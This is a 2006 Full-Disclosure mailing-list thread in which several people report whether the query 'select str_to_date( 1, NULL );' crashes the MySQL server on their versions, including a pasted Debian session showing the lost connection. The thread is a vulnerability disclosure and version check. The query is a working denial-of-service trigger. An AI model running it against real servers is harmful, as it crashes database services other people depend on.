From: Tiago Pedrosa (riftmangmail.com)
Date: Fri Jun 16 2006 - 04:13:00 CDT

• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

Hi,

On my debian testing system, with mysql-server-4.1 package:

ii mysql-server-4 4.1.15-1 mysql database server binaries

it crashes. But I'm able to preforme new comands on mysql prompt, after
to reconnect to mysql server.

Running query:

Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 3718 to server version: 4.1.15-Debian_1-log

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql> select str_to_date( 1, NULL );
ERROR 2013 (HY000): Lost connection to MySQL server during query
mysql> show databases;
ERROR 2006 (HY000): MySQL server has gone away
No connection. Trying to reconnect...
Connection id: 1
Current database: *** NONE ***

+---------------+
| Database |
+---------------+
| mysql |
| test |
+---------------+
2 rows in set (0.00 sec)

mysql>

Hope that an new package for debian will be realeased soon.

        Tiago Pedrosa

On Thu, 15 Jun 2006 15:50:21 -0400
"Brent Meshier" <brentgarcia-co.com> wrote:

> I am not able to reproduce this bug.
>
> mysql> select str_to_date( 1, NULL );
> +------------------------+
> | str_to_date( 1, NULL ) |
> +------------------------+
> | NULL |
> +------------------------+
> 1 row in set (0.00 sec)
>
>
> Brent Meshier
> Director IT Operations
> Global Transport Logistics
> Garcia & Co Fulfillment
> http://www.garcia-co.com/
> (877) 257-SHIP ext 23
>
>
> -----Original Message-----
> From: Tonnerre Lombard [mailto:tonnerre.lombardsygroup.ch]
> Sent: Thursday, June 15, 2006 1:42 AM
> To: Kanatoko

> Cc: bugtraqsecurityfocus.com; full-disclosurelists.grok.org.uk
> Subject: Re: MySQL DoS
>
> Salut,
>
> On Thu, 2006-06-15 at 02:24 +0900, Kanatoko wrote:
> > A query like "select str_to_date( 1, NULL );" crashes mysqld.
>
> mysql Ver 14.12 Distrib 5.0.18, for -netbsd (alpha) using EditLine
> wrapper
> -> not affected
>
> mysql Ver 14.7 Distrib 4.1.15, for pc-linux-gnu (i486) using readline
> 5.1
> -> affected
>
> mysql Ver 12.22 Distrib 4.0.18, for mandrake-linux-gnu (i586)
> -> affected
>
> Tonnerre
> --
> SyGroup GmbH
> Tonnerre Lombard
>
> Loesungen mit System
> Tel:+41 61 333 80 33 Roeschenzerstrasse 9
> Fax:+41 61 383 14 67 4153 Reinach
> Web:www.sygroup.ch tonnerre.lombardsygroup.ch
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]